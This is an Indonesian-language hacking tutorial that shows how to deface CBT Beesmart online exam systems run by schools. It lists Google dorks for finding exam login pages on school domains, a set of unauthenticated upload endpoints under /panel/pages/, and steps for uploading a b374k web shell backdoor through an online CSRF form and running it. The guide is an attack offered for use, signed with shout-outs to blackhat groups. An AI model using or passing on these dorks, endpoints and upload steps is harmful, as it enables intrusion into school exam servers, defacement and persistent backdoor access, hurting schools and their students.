TUTORIAL DEFACE POC CBT BEESMART UP SHELL

 TUTORIAL DEFACE POC CBT BEESMART UP SHELL

Upload By ./Lucifer25

Assalamualaikum hallo guys gw lucifer25 mau memberikan tutorial atau edukasi deface poc cbt beesmart up shell / tebas index

Bahan:

-Hp/Pc

-Dork

-Exploit

-Shell & Sc Deface 

-Google Dork :

inurl:/login.php intitle:ujian online

inurl:/cbt/login.php site:sch.id

inurl:/login.php intitle:cbt beesmart

inurl:/login.php inurl:/cbt

inurl:/login.php intitle:ujian sekolah

inurl:/login.php intitle:ujian sma

inurl:/login.php intitle:cbt pintersmart

inurl:/login.php intitle:ujian pintersmart

inurl:/panel/pages site:.sch.id "Supported By Beesmart"

inurl:/panel/pages/login.php

inurl:/login.php inurl:/cbt

inurl:/login.php intitle:cbt

inurl:/panel/pages "Supported By Beesmart"

inurl:/login.php "Supported By Beesmart"

inurl:/login.php intitle:ujian

inurl:/login.php intitle:ujian online

inurl:/login.php intitle:ujian sekolah

inurl:/login.php intext:cbt

inurl:/login.php intext:ujian

inurl:/login.php intitle:ujian smp

inurl:/login.php intitle:ujian sma

inurl:/login.php intext:cbt site:sch.id

inurl:/login.php intitle:ujian "2020"

inurl:/login.php intext:ujian "2020"

inurl:/login.php intext:Beesmart

KEMBANGIN LAGI!!

Exploit:

/panel/pages/upload-file.php

/panel/pages/upload_video.php

/panel/pages/upload_audio.php

/panel/pages/upload_gambar.php

/panel/pages/upload-file.php

/panel/pages/upload-fotosiswa.php

/panel/pages/upload-banner.php

/panel/pages/upload-logo.php

1. LANGKAH PERTAMA KALIAN CARI DULU TARGET YANG VULN PAKAI DORK YANG ADA DI ATAS

2. JIKA KALIAN SUDAH MENEMUKAN TARGETNYA LANGSUNG SAJA INPUT EXPLOIT DI BELAKANG URL NYA CONTOH :

// www.example.com/panel/pages/upload-file.php

JIKA URL ADA PATH NYA

// www.example.com/cbt/panel/pages/upload-file.php

KALAU TAMPILAN NYA WHITE SCREEN SEPERTI INI ITU ARTINYA TARGET NYA VULN YA CHUY BISA LANGSUNG KALIAN UP SHELL

3. LANGSUNG SAJA KALIAN KE CSRF ONLINE KALIAN SALIN URL NYA BESERTA EXPLOITNYA, DI BAGIAN POST FILE ISI DENGAN : uploadfile JIKA SUDAH KALIAN PENCET LOCK THE TARGET, JIKA SUDAH KALIAN BISA UPLOAD SHELL BACKDOOR KALIAN CONTOH b374k.php

4. NAH JIKA TAMPILAN SUCCES SEPERTI INI BERARTI SHELL YANG SUDAH KITA UPLOAD BERHASIL YA DAN BISA LANGSUNG KALIAN EKSEKUSI UNTUK CARA PEMANGGILANNYA SEPERTI INI :

www.example.com/images/shellu.php

JIKA ADA PATH NYA SAMA AJA ISI PEMANGGILAN NYA DI BELAKANG PATH

www.example.com/cbt/images/shellu.php

5. DAN YAP KALIAN SUDAH BERHASIL MASUK KE DALAM SHELL BACKDOOR KALIAN, DISINI LU BEBAS MAU NGAPAIN DAH.

OKE CUKUP SEKIAN MATERI/TUTORIAL KALI INI DARI GW SEMOGA BERMANFAAT BYEEE BYEEEEEEEEE KONTTTTTTTTT

Thanks To :

> Monarchy Cyber Team

> Jawa Tengah Cyber Team

> Kebumen Blackhat

> All Member

#fromcybertobrother

#fromlammertomastah

#fromlosertohaxor

#happylearn

#happydeface

#nostsyemissafe